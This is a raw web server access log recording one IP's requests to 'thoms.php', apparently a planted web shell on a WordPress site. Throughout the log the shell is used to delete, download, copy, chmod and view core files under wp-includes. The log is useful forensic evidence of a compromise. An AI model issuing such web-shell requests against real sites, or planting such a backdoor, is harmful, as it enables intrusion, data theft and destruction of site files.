45.135.193.11 - - [11/Sep/2026:23:45:49 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:49 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-http-cookie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:49 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:49 -0400] "GET /thoms.php?del=class-smtp.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-smtp.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:49 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11912 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:49 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-site.php HTTP/1.1" 200 14288 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:50 -0400] "GET /thoms.php?chmod=class-wp-image-editor-gd.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-gd.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:49 -0400] "GET /thoms.php?dl=default-constants.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?dl=default-constants.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:50 -0400] "GET /booking-wise2.com.tw/wp-includes/http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:50 -0400] "GET /thoms.php?del=IXR&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=IXR&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:50 -0400] "GET /booking-wise2.com.tw/wp-includes/https-migration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:50 -0400] "GET /thoms.php?del=class-wp-customize-manager.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-manager.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:50 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fkses.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fkses.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:50 -0400] "GET /booking-wise2.com.tw/wp-includes/bookmark-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:50 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-default-filters.php HTTP/1.1" 200 13956 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:50 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=script-loader.php HTTP/1.1" 200 61353 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=script-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:50 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-image-editor.php HTTP/1.1" 200 17525 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-image-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:51 -0400] "GET /thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:50 -0400] "GET /thoms.php?dl=class-http.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-http.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:51 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:51 -0400] "GET /booking-wise2.com.tw/wp-includes/wp-db.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:51 -0400] "GET /thoms.php?del=https-detection.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59402 "http://163.245.207.76:443/thoms.php?del=https-detection.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:51 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2FIXR HTTP/1.1" 200 14504 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2FIXR" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:51 -0400] "GET /thoms.php?del=update.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=update.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:51 -0400] "GET /thoms.php?chmod=class-wp-filter-sentinel.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11547 "http://163.245.207.76:443/thoms.php?chmod=class-wp-filter-sentinel.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:51 -0400] "GET /thoms.php?chmod=class-wp-token-map.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-token-map.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:51 -0400] "GET /thoms.php?chmod=date.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=date.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:52 -0400] "GET /booking-wise2.com.tw/wp-includes/customize/ HTTP/1.1" 200 2253 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:51 -0400] "GET /thoms.php?del=class-wp-theme-json.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:52 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fupdate.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fupdate.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:51 -0400] "GET /thoms.php?del=ms-files.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59150 "http://163.245.207.76:443/thoms.php?del=ms-files.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:52 -0400] "GET /thoms.php?chmod=class-pop3.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-pop3.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:52 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:52 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:52 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-theme-json-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:52 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-object-cache.php HTTP/1.1" 200 16427 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-object-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:52 -0400] "GET /thoms.php?chmod=deprecated.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=deprecated.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:52 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Foption.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Foption.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:52 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=post.php HTTP/1.1" 200 95675 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:52 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=robots-template.php HTTP/1.1" 200 13307 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=robots-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:52 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fphp-compat&p= HTTP/1.1" 200 12404 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fphp-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:53 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-recovery-mode-key-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11904 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:52 -0400] "GET /thoms.php?del=class-wp-application-passwords.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-application-passwords.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11908 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:53 -0400] "GET /booking-wise2.com.tw/wp-includes/default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:53 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp.php HTTP/1.1" 200 20848 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:53 -0400] "GET /thoms.php?dl=class-wp-paused-extensions-storage.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-paused-extensions-storage.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-phpass.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-phpass.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:53 -0400] "GET /thoms.php?chmod=class-wp-network-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11547 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:53 -0400] "GET /thoms.php?dl=abilities.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=abilities.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:53 -0400] "GET /thoms.php?del=author-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=author-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:54 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-user-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:54 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-phpmailer.php HTTP/1.1" 200 13443 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:54 -0400] "GET /thoms.php?dl=error_log&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=error_log&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:54 -0400] "GET /thoms.php?dl=style-engine.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=style-engine.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:54 -0400] "GET /thoms.php?del=class-wp-block-bindings-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:54 -0400] "GET /thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:55 -0400] "GET /thoms.php?del=class-wp-error.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-error.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:55 -0400] "GET /thoms.php?chmod=functions.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:55 -0400] "GET /thoms.php?del=error_log&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=error_log&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-patterns&p= HTTP/1.1" 200 12401 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-patterns&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:55 -0400] "GET /thoms.php?chmod=fonts&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=fonts&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:55 -0400] "GET /thoms.php?dl=theme.json&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=theme.json&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:55 -0400] "GET /booking-wise2.com.tw/wp-includes/utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:55 -0400] "GET /booking-wise2.com.tw/wp-includes/rest-api/ HTTP/1.1" 200 1362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-patterns.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-patterns.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
